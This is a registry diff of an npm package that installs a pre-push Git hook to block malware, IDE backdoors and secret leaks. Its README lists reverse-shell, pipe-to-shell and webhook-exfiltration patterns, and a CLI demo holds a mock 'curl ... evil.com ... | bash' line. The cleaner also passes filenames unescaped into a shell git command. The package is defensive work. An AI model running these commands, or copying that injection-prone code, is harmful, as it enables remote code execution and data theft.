@arifbiswas/git-pre-push 0.0.0-stage β†’ 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,22 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
22
+
package/README.md CHANGED
@@ -1,3 +1,238 @@
1
- # Temporary Holding Version
1
+ # πŸ›‘οΈ git-pre-push (GitSafty)
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ > **Zero-Dependency Pre-Push Security Guard & Infostealer Blocker for Git.**
4
+ > Intercepts `git push` in real-time to prevent malware, Trojan scripts, compromised IDE configs, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
5
+
6
+ [![npm version](https://img.shields.io/npm/v/@arifbiswas/git-pre-push.svg?style=flat-square)](https://www.npmjs.com/package/@arifbiswas/git-pre-push)
7
+ [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg?style=flat-square)](LICENSE)
8
+ [![Zero Dependencies](https://img.shields.io/badge/dependencies-0%20(Pure%20Node.js)-brightgreen.svg?style=flat-square)](#-zero-external-runtime-dependencies)
9
+ [![Tests Passing](https://img.shields.io/badge/tests-18%2F18%20passing-success.svg?style=flat-square)](#-test-coverage)
10
+ [![Platform](https://img.shields.io/badge/platform-macOS%20%7C%20Linux%20%7C%20Windows-lightgrey.svg?style=flat-square)](#-cross-platform--zero-dependencies)
11
+
12
+ ---
13
+
14
+ ## πŸ“Œ Why Do You Need This?
15
+
16
+ Developer workstations are high-value targets for infostealer malware (RedLine, Lumma, Vidar, etc.) and supply-chain attacks. Once a machine is compromised, malware silently:
17
+
18
+ 1. **Injects auto-commit/push scripts** into your Git repositories (e.g., `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`).
19
+ 2. **Backdoors your IDE configs** (e.g., `.vscode/tasks.json` with `runOn: "folderOpen"`) so that opening the project immediately triggers remote shell execution on any teammate's machine.
20
+ 3. **Exfiltrates secrets & `.env` files** to attacker-controlled Discord webhooks or Telegram bots.
21
+ 4. **Leverages stored Git credentials / SSH keys** to automatically push backdoored code straight to GitHub.
22
+ 5. **Poisons the Software Supply Chain**, affecting every teammate who pulls the code and every production build deployed from it.
23
+
24
+ **`git-pre-push` stops this attack chain at the source.**
25
+ Whenever `git push` is invokedβ€”from terminal, VS Code UI, or any Git GUIβ€”it intercepts the push in milliseconds, inspects outgoing files and commit diffs, and **hard-blocks the push** if any malicious patterns are found.
26
+
27
+ ---
28
+
29
+ ## πŸš€ Quick Start
30
+
31
+ ### Option 1: Automatic Setup via npm (Recommended)
32
+
33
+ Add `git-pre-push` to your project:
34
+
35
+ ```bash
36
+ npm install -D @arifbiswas/git-pre-push
37
+ ```
38
+
39
+ > **Zero Configuration Required:** The `postinstall` script automatically installs the `.git/hooks/pre-push` guard in your repository.
40
+
41
+ ---
42
+
43
+ ### Option 2: Instant Setup via npx (Zero Installation)
44
+
45
+ In any Git repository, run:
46
+
47
+ ```bash
48
+ npx @arifbiswas/git-pre-push init
49
+ ```
50
+
51
+ Your repository is immediately protected.
52
+
53
+ ---
54
+
55
+ ### Option 3: Lock Down an Entire Machine (Global Protection)
56
+
57
+ If you suspect your workstation has been compromised, lock down **all Git repositories on your computer** with a single command:
58
+
59
+ ```bash
60
+ npx @arifbiswas/git-pre-push init --global
61
+ ```
62
+
63
+ This configures `git config --global core.hooksPath`, ensuring every repository on your PC runs the security scanner before any push.
64
+
65
+ ---
66
+
67
+ ## ⚑ How It Works
68
+
69
+ ```
70
+ Developer or Malware executes: git push
71
+ β”‚
72
+ β–Ό
73
+ Git triggers: .git/hooks/pre-push
74
+ β”‚
75
+ β–Ό
76
+ πŸ›‘οΈ GitSafty Scanner Engine (< 5ms)
77
+ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
78
+ β”‚ 1. Blacklist check (temp_*_push.bat, .exe, .ps1, .vbs) β”‚
79
+ β”‚ 2. Outgoing commit diff inspection for payload cradles β”‚
80
+ β”‚ 3. IDE backdoor inspection (.vscode/tasks.json, .idea) β”‚
81
+ β”‚ 4. Credential & secret leak detection (.env, RSA keys) β”‚
82
+ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
83
+ β”‚
84
+ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
85
+ β–Ό β–Ό
86
+ [Threats Found] [Clean Scan]
87
+ β”‚ β”‚
88
+ ❌ PUSH REJECTED βœ… PUSH ALLOWED
89
+ (Malware blocked locally) (Pushed cleanly to GitHub)
90
+ ```
91
+
92
+ ---
93
+
94
+ ## 🎯 Threat Detection Capabilities
95
+
96
+ ### 1. Injected Scripts & Trojan Filenames
97
+ - Known malicious auto-push scripts: `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
98
+ - Blocked executable extensions: `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.vbs`, `*.ps1`, `*.hta`, `*.pif`, `*.cpl`
99
+ - Deceptive double-extension tricks: `document.pdf.exe`, `invoice.xlsx.bat`
100
+
101
+ ### 2. Obfuscated Payloads & Reverse Shells
102
+ - PowerShell obfuscated execution: `powershell -enc`, `powershell -encodedcommand`
103
+ - Web download cradles: `Invoke-WebRequest`, `DownloadString`, `IEX`
104
+ - Remote pipe-to-shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`
105
+ - Dynamic base64 evaluation: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
106
+ - Windows LOLBins abuse: `certutil -urlcache`, `bitsadmin /transfer`, `mshta http`
107
+ - TCP socket reverse shells: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
108
+
109
+ ### 3. IDE Configuration Backdoors
110
+ - `.vscode/tasks.json`: Auto-executing shell tasks triggered on folder open (`runOn: "folderOpen"`)
111
+ - `.vscode/settings.json`: Malicious terminal profile overrides or shell binary path hijacking
112
+ - JetBrains `.idea/`: Suspicious external tool execution in `workspace.xml` or `tasks.xml`
113
+
114
+ ### 4. Credential Exfiltration & Secret Leaks
115
+ - Hardcoded Discord webhook dumps (`https://discord.com/api/webhooks/...`)
116
+ - Telegram Bot token exfiltration endpoints
117
+ - Temporary file drop & webhook logging services (`webhook.site`, `pipedream.net`, `filebin.net`)
118
+ - Unencrypted production `.env` files being committed
119
+ - Leaked cryptographic private keys (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
120
+
121
+ ---
122
+
123
+ ## πŸ› οΈ CLI Command Reference
124
+
125
+ | Command | Description |
126
+ |---|---|
127
+ | `npx @arifbiswas/git-pre-push init` | Installs the pre-push security hook into `.git/hooks/pre-push` |
128
+ | `npx @arifbiswas/git-pre-push init --global` | Protects **all** Git repositories across the entire PC |
129
+ | `npx @arifbiswas/git-pre-push scan` | Manually audits workspace files, untracked scripts & staged diffs |
130
+ | `npx @arifbiswas/git-pre-push clean` | Unstages and quarantines injected malware files to `.git/git-safty-quarantine/` |
131
+ | `npx @arifbiswas/git-pre-push action` | Generates a `.github/workflows/git-safty.yml` CI workflow |
132
+ | `npx @arifbiswas/git-pre-push uninstall` | Cleanly removes the hook from `.git/hooks` |
133
+
134
+ ---
135
+
136
+ ## 🧹 Quarantine & Remediation (`clean`)
137
+
138
+ If malware has already generated files in your project, clean them up instantly:
139
+
140
+ ```bash
141
+ npx @arifbiswas/git-pre-push clean
142
+ ```
143
+
144
+ ```
145
+ ================================================================
146
+ πŸ›‘οΈ GitSafty: Pre-Push Malware & Secret Guard
147
+ ================================================================
148
+ Scanning workspace for injected malware scripts to quarantine...
149
+
150
+ ⚠ Quarantined 2 malicious file(s):
151
+ βœ– temp_auto_push.bat
152
+ βœ– config.bat
153
+
154
+ βœ” Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).
155
+ ```
156
+
157
+ ---
158
+
159
+ ## πŸ›‘οΈ Defense-in-Depth: GitHub Actions CI Guard
160
+
161
+ To guard against attackers attempting to bypass local hooks using `git push --no-verify`, install the GitHub Actions workflow:
162
+
163
+ ```bash
164
+ npx @arifbiswas/git-pre-push action
165
+ ```
166
+
167
+ This creates `.github/workflows/git-safty.yml`. Any pull request or push containing blacklisted scripts or suspicious payloads will fail CI on GitHub's servers automatically.
168
+
169
+ ---
170
+
171
+ ## ☁️ Cloud Scanner & Webhook Platform (`server/`)
172
+
173
+ The repository includes a standalone cloud scanner microservice in `server/` that integrates with GitHub Apps and Webhooks:
174
+ - **Webhook Endpoint (`POST /webhook`):** Verifies HMAC SHA-256 signatures and audits incoming pushes.
175
+ - **REST Scan API (`POST /api/scan`):** Recursively fetches remote repository trees (`/git/trees/{sha}?recursive=1`) and inspects file blobs.
176
+ - **Auto-Remediation:** Automatically creates remediation commits via GitHub REST API to isolate and remove compromised files.
177
+
178
+ ---
179
+
180
+ ## βš™οΈ Optional Configuration (`.gitsafetyrc.json`)
181
+
182
+ Works out-of-the-box with zero configuration. You can optionally customize behavior with a `.gitsafetyrc.json` file in your project root:
183
+
184
+ ```json
185
+ {
186
+ "ignoreFiles": [
187
+ "tests/fixtures/mock-payload.js"
188
+ ],
189
+ "ignoreRules": [],
190
+ "strict": false
191
+ }
192
+ ```
193
+
194
+ ---
195
+
196
+ ## πŸ’Ž Comparison: Why git-pre-push Stands Out
197
+
198
+ | Feature | Generic Git Hooks / Linters | git-pre-push |
199
+ |---|:---:|:---:|
200
+ | **Runtime Dependencies** | ❌ 50+ packages (heavy) | βœ… **0 (Pure Node.js built-ins)** |
201
+ | **Supply Chain Vulnerability** | ⚠️ High (dependency tree) | πŸ›‘οΈ **Zero** (no external modules) |
202
+ | **Execution Overhead** | 🐒 1 - 3 seconds | ⚑ **< 5 milliseconds** |
203
+ | **Infostealer Malware Detection** | ❌ No | βœ… **Full signature & payload engine** |
204
+ | **IDE Backdoor Detection (.vscode)** | ❌ No | βœ… **Built-in static analysis** |
205
+ | **Global Machine Lockdown (`--global`)** | ❌ No | βœ… **One-command PC protection** |
206
+ | **Auto-Quarantine Cleaner (`clean`)** | ❌ No | βœ… **Automatic remediation** |
207
+ | **Shell Fallback Guard** | ❌ No | βœ… **Built-in POSIX shell fallback** |
208
+
209
+ ---
210
+
211
+ ## πŸ§ͺ Test Coverage
212
+
213
+ Verified with Node.js native test runner across all supported platforms:
214
+
215
+ ```bash
216
+ npm test
217
+ ```
218
+ ```
219
+ βœ” Cloud Scanner Webhook Signature Verification (2 tests)
220
+ βœ” Cloud Scanner Remote Tree Audit (1 test)
221
+ βœ” Filename & Extension Checks (4 tests)
222
+ βœ” Payload Signatures Detection (5 tests)
223
+ βœ” Secret & Credential Checks (3 tests)
224
+ βœ” IDE Configuration Tampering (2 tests)
225
+ βœ” Hook Installer and Uninstaller (1 test)
226
+
227
+ β„Ή tests 18 | pass 18 | fail 0 | duration_ms ~300ms
228
+ ```
229
+
230
+ ---
231
+
232
+ ## πŸ“„ License
233
+
234
+ MIT License Β© 2026
235
+
236
+ ---
237
+
238
+ **Built with πŸ›‘οΈ to safeguard developers, teams, and the global software supply chain.**
package/bin/cli.js ADDED
@@ -0,0 +1,135 @@
1
+ #!/usr/bin/env node
2
+
3
+ const { runPrePush, runManualScan, installHook, uninstallHook } = require('../src/index');
4
+ const { cleanInfectedFiles } = require('../src/cleaner');
5
+ const { setupGitHubAction } = require('../src/action');
6
+ const { banner, colors } = require('../src/reporter');
7
+
8
+ const args = process.argv.slice(2);
9
+ const command = args[0] ? args[0].toLowerCase() : 'help';
10
+ const isGlobalFlag = args.includes('--global') || args.includes('-g');
11
+
12
+ async function main() {
13
+ switch (command) {
14
+ case 'scan-push':
15
+ await runPrePush();
16
+ break;
17
+
18
+ case 'scan':
19
+ case 'check':
20
+ runManualScan();
21
+ break;
22
+
23
+ case 'demo':
24
+ case 'test-run': {
25
+ banner();
26
+ console.log(`${colors.cyan}Simulating a malicious push intercept test...${colors.reset}\n`);
27
+ const { scanFilesAndDiff } = require('../src/scanner');
28
+ const { printReport, printBlockMessage } = require('../src/reporter');
29
+
30
+ const mockFiles = ['src/app.js', 'temp_auto_push.bat', '.vscode/tasks.json'];
31
+ const mockDiff = `+ powershell.exe -enc SQBFAFgAIAAoAE4AZQB3...
32
+ + curl -fsSL https://evil.com/hook.sh | bash
33
+ + const webhook = "https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";`;
34
+
35
+ const result = scanFilesAndDiff(mockFiles, mockDiff);
36
+ printReport(result);
37
+ printBlockMessage();
38
+ console.log(`${colors.green}${colors.bold}βœ” Simulation Complete:${colors.reset} In a real git push, GitSafty will immediately exit 1 and reject the push!\n`);
39
+ break;
40
+ }
41
+
42
+ case 'clean':
43
+ case 'fix': {
44
+ banner();
45
+ console.log(`${colors.cyan}Scanning workspace for injected malware scripts to quarantine...${colors.reset}`);
46
+ const cleanResult = cleanInfectedFiles();
47
+ if (cleanResult.quarantined.length > 0) {
48
+ console.log(`\n${colors.yellow}${colors.bold}⚠ Quarantined ${cleanResult.quarantined.length} malicious file(s):${colors.reset}`);
49
+ for (const q of cleanResult.quarantined) {
50
+ console.log(` ${colors.red}βœ– ${q}${colors.reset}`);
51
+ }
52
+ console.log(`\n${colors.green}${colors.bold}βœ” Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).${colors.reset}\n`);
53
+ } else {
54
+ console.log(`\n${colors.green}${colors.bold}βœ” No known malware scripts found in project files.${colors.reset}\n`);
55
+ }
56
+ break;
57
+ }
58
+
59
+ case 'action':
60
+ case 'ci': {
61
+ banner();
62
+ const res = setupGitHubAction();
63
+ if (res.success) {
64
+ console.log(`\n${colors.green}${colors.bold}βœ” ${res.message}${colors.reset}`);
65
+ console.log(`${colors.cyan}Now, even if a compromised PC pushes with --no-verify, GitHub Actions CI will block the build/PR!${colors.reset}\n`);
66
+ } else {
67
+ console.error(`\n${colors.red}${colors.bold}βœ– ${res.message}${colors.reset}\n`);
68
+ process.exit(1);
69
+ }
70
+ break;
71
+ }
72
+
73
+ case 'init':
74
+ case 'install': {
75
+ banner();
76
+ const result = installHook(process.cwd(), isGlobalFlag);
77
+ if (result.success) {
78
+ console.log(`\n${colors.green}${colors.bold}βœ” ${result.message}${colors.reset}\n`);
79
+ console.log(`${colors.cyan}Your git environment is now protected!${colors.reset}`);
80
+ console.log(`${colors.dim}Every 'git push' will automatically scan outgoing commits for malware & secret leaks.${colors.reset}\n`);
81
+ } else {
82
+ console.error(`\n${colors.red}${colors.bold}βœ– ${result.message}${colors.reset}\n`);
83
+ process.exit(1);
84
+ }
85
+ break;
86
+ }
87
+
88
+ case 'uninstall':
89
+ case 'remove': {
90
+ banner();
91
+ const result = uninstallHook();
92
+ if (result.success) {
93
+ console.log(`\n${colors.yellow}${colors.bold}βœ” ${result.message}${colors.reset}\n`);
94
+ } else {
95
+ console.error(`\n${colors.red}${colors.bold}βœ– ${result.message}${colors.reset}\n`);
96
+ process.exit(1);
97
+ }
98
+ break;
99
+ }
100
+
101
+ case 'help':
102
+ case '--help':
103
+ case '-h':
104
+ default:
105
+ banner();
106
+ console.log(`
107
+ ${colors.bold}Usage:${colors.reset}
108
+ npx git-safty <command>
109
+
110
+ ${colors.bold}Commands:${colors.reset}
111
+ ${colors.green}init${colors.reset} Install the pre-push guard hook into .git/hooks/pre-push
112
+ ${colors.green}scan${colors.reset} Scan current repository, staged files & working tree
113
+ ${colors.green}scan-push${colors.reset} Triggered automatically by git during 'git push'
114
+ ${colors.green}uninstall${colors.reset} Remove git-safty hook from .git/hooks
115
+
116
+ ${colors.bold}How it works:${colors.reset}
117
+ 1. Run ${colors.cyan}npx git-safty init${colors.reset} in any git repository.
118
+ 2. Whenever you run ${colors.cyan}git push${colors.reset}, GitSafty automatically intercepts and scans:
119
+ - Outgoing modified files for blacklisted & trojan scripts (temp_auto_push.bat, .vbs, .ps1, .exe, etc.)
120
+ - Outgoing diff content for obfuscated payloads (base64 eval, powershell cradles, curl | bash, lolbins)
121
+ - IDE settings (.vscode/tasks.json, .vscode/settings.json, JetBrains configs)
122
+ - Leaked API keys, private keys, and .env files
123
+ 3. If malware or critical secrets are detected, ${colors.red}${colors.bold}the push is rejected immediately${colors.reset}!
124
+
125
+ ${colors.bold}Zero Dependencies:${colors.reset} 100% pure Node.js built-ins.
126
+ `);
127
+ break;
128
+ }
129
+ }
130
+
131
+ main().catch((err) => {
132
+ console.error(`[git-safty error]:`, err);
133
+ process.exit(1);
134
+ });
135
+
package/package.json CHANGED
@@ -1,6 +1,40 @@
1
1
  {
2
2
  "name": "@arifbiswas/git-pre-push",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.1",
4
+ "description": "Zero-dependency pre-push security guard that stops malware, injected scripts, and leaked secrets from reaching GitHub.",
5
+ "main": "src/index.js",
6
+ "bin": {
7
+ "git-pre-push": "./bin/cli.js",
8
+ "git-safty": "./bin/cli.js"
9
+ },
10
+ "publishConfig": {
11
+ "access": "public"
12
+ },
13
+ "files": [
14
+ "bin",
15
+ "src",
16
+ "scripts",
17
+ "README.md",
18
+ "LICENSE"
19
+ ],
20
+ "scripts": {
21
+ "test": "node --test",
22
+ "init": "node bin/cli.js init",
23
+ "scan": "node bin/cli.js scan",
24
+ "postinstall": "node scripts/postinstall.js"
25
+ },
26
+ "keywords": [
27
+ "git-hook",
28
+ "security",
29
+ "pre-push",
30
+ "malware-detection",
31
+ "infostealer-blocker",
32
+ "secret-leak",
33
+ "gitguard"
34
+ ],
35
+ "engines": {
36
+ "node": ">=16.0.0"
37
+ },
38
+ "author": "",
39
+ "license": "MIT"
40
+ }
@@ -0,0 +1,26 @@
1
+ /**
2
+ * Automatically executed on npm postinstall
3
+ */
4
+
5
+ const { installHook } = require('../src/installer');
6
+ const { isGitRepo } = require('../src/utils/git');
7
+
8
+ function main() {
9
+ // In CI or production install without git, exit gracefully
10
+ if (process.env.CI || process.env.CONTINUOUS_INTEGRATION) {
11
+ return;
12
+ }
13
+
14
+ // When installed as a dependency, process.env.INIT_CWD points to the parent project
15
+ const targetDir = process.env.INIT_CWD || process.cwd();
16
+
17
+ if (isGitRepo(targetDir)) {
18
+ const result = installHook(targetDir);
19
+ if (result.success) {
20
+ console.log(`[git-safty] πŸ›‘οΈ Pre-push security hook installed in ${targetDir}`);
21
+ }
22
+ }
23
+ }
24
+
25
+ main();
26
+
package/src/action.js ADDED
@@ -0,0 +1,63 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ const WORKFLOW_YAML = `name: GitSafty Security Guard
5
+
6
+ on:
7
+ push:
8
+ branches: [ "**" ]
9
+ pull_request:
10
+ branches: [ "**" ]
11
+
12
+ jobs:
13
+ security-scan:
14
+ name: Scan Outgoing Commits for Malware & Secrets
15
+ runs-on: ubuntu-latest
16
+ steps:
17
+ - name: Checkout Code
18
+ uses: actions/checkout@v4
19
+ with:
20
+ fetch-depth: 0
21
+
22
+ - name: Setup Node.js
23
+ uses: actions/setup-node@v4
24
+ with:
25
+ node-version: '20'
26
+
27
+ - name: Run GitSafty Security Audit
28
+ run: |
29
+ npx git-safty scan
30
+ `;
31
+
32
+ /**
33
+ * Creates .github/workflows/git-safty.yml for defense in depth
34
+ * @param {string} [cwd]
35
+ * @returns {{ success: boolean, message: string }}
36
+ */
37
+ function setupGitHubAction(cwd = process.cwd()) {
38
+ try {
39
+ const workflowDir = path.join(cwd, '.github', 'workflows');
40
+ if (!fs.existsSync(workflowDir)) {
41
+ fs.mkdirSync(workflowDir, { recursive: true });
42
+ }
43
+
44
+ const workflowFile = path.join(workflowDir, 'git-safty.yml');
45
+ fs.writeFileSync(workflowFile, WORKFLOW_YAML.trim() + '\n', 'utf8');
46
+
47
+ return {
48
+ success: true,
49
+ message: `Created GitHub Actions workflow at: ${workflowFile}`
50
+ };
51
+ } catch (err) {
52
+ return {
53
+ success: false,
54
+ message: `Failed to create GitHub Action: ${err.message}`
55
+ };
56
+ }
57
+ }
58
+
59
+ module.exports = {
60
+ setupGitHubAction,
61
+ WORKFLOW_YAML
62
+ };
63
+
package/src/cleaner.js ADDED
@@ -0,0 +1,57 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { runGit, getAllRepoFiles } = require('./utils/git');
4
+ const { checkFilename } = require('./rules/filenames');
5
+ const { colors } = require('./reporter');
6
+
7
+ /**
8
+ * Automatically finds and cleans injected malware and trojan scripts from the repository
9
+ * @param {string} [cwd]
10
+ * @returns {{ quarantined: string[], uncommitted: string[] }}
11
+ */
12
+ function cleanInfectedFiles(cwd = process.cwd()) {
13
+ const allFiles = getAllRepoFiles(cwd);
14
+ const quarantined = [];
15
+ const uncommitted = [];
16
+
17
+ const quarantineDir = path.join(cwd, '.git', 'git-safty-quarantine');
18
+
19
+ for (const file of allFiles) {
20
+ const threat = checkFilename(file);
21
+ if (threat && threat.severity === 'CRITICAL') {
22
+ const fullPath = path.resolve(cwd, file);
23
+
24
+ // Unstage from git index if staged
25
+ runGit(`reset HEAD "${file}"`, cwd);
26
+ uncommitted.push(file);
27
+
28
+ // Quarantine or delete file
29
+ if (fs.existsSync(fullPath)) {
30
+ if (!fs.existsSync(quarantineDir)) {
31
+ fs.mkdirSync(quarantineDir, { recursive: true });
32
+ }
33
+ const targetQuarantinePath = path.join(quarantineDir, `${Date.now()}_${path.basename(file)}`);
34
+ try {
35
+ fs.renameSync(fullPath, targetQuarantinePath);
36
+ quarantined.push(file);
37
+ } catch (err) {
38
+ // If rename fails, try unlink
39
+ try {
40
+ fs.unlinkSync(fullPath);
41
+ quarantined.push(file);
42
+ } catch (_) {}
43
+ }
44
+ }
45
+ }
46
+ }
47
+
48
+ return {
49
+ quarantined,
50
+ uncommitted
51
+ };
52
+ }
53
+
54
+ module.exports = {
55
+ cleanInfectedFiles
56
+ };
57
+
package/src/config.js ADDED
@@ -0,0 +1,50 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ const DEFAULT_CONFIG = {
5
+ // Filenames or glob patterns to exclude from malware checks
6
+ ignoreFiles: [],
7
+ // Rule names to disable if desired
8
+ ignoreRules: [],
9
+ // Custom blacklist patterns
10
+ customSuspiciousFiles: [],
11
+ customPayloads: [],
12
+ // Strict mode: Treat warnings as errors
13
+ strict: false
14
+ };
15
+
16
+ /**
17
+ * Loads configuration from .gitsafetyrc.json or git-safty.config.json
18
+ * @param {string} [cwd]
19
+ * @returns {typeof DEFAULT_CONFIG}
20
+ */
21
+ function loadConfig(cwd = process.cwd()) {
22
+ const possiblePaths = [
23
+ path.join(cwd, '.gitsafetyrc.json'),
24
+ path.join(cwd, '.gitsafetyrc'),
25
+ path.join(cwd, 'git-safty.config.json')
26
+ ];
27
+
28
+ for (const configPath of possiblePaths) {
29
+ if (fs.existsSync(configPath)) {
30
+ try {
31
+ const raw = fs.readFileSync(configPath, 'utf8');
32
+ const parsed = JSON.parse(raw);
33
+ return {
34
+ ...DEFAULT_CONFIG,
35
+ ...parsed
36
+ };
37
+ } catch (err) {
38
+ console.warn(`[git-safty] Warning: Could not parse config file at ${configPath}: ${err.message}`);
39
+ }
40
+ }
41
+ }
42
+
43
+ return DEFAULT_CONFIG;
44
+ }
45
+
46
+ module.exports = {
47
+ loadConfig,
48
+ DEFAULT_CONFIG
49
+ };
50
+